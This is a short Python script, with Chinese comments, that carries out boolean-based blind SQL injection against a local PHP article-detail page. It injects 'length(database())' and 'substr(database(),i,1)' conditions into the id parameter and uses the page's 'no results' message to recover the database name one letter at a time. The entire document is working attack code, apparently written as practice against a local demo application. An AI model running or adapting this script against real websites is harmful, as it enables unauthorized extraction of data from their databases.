import requests


# 定义要替换的地址及替换字符
baseurl1 = "http://localhost/articles-demo1-php/php/article_detail.php?id=21 and  length(database())="
baseurl2 = "http://localhost/articles-demo1-php/php/article_detail.php?id=21 and  substr(database(),$1,1)='$2'"
result = []
dblength = 0

for i in range(1,50):
    url = baseurl1 + str(i)
    response = requests.get(url)
    if "没有查询到结果" not in response.text:
        dblength = i;
        break;
print(dblength)

# 遍历从a到z的所有小写字母
for idx in range(1,dblength+1):
    baseurl2_1 = baseurl2.replace("$1", str(idx))
    for letter in range(ord('a'), ord('z') + 1):
        baseurl2_2 = baseurl2_1.replace("$2", chr(letter))

        response = requests.get(baseurl2_2)
        # # 当返回内容不等于“没有查询到结果”时，把当前被遍历的字母放入自定义的列表中
        if "没有查询到结果" not in response.text:
            result.append(chr(letter))

    # 输出列表的内容
print("数据库名称：", result)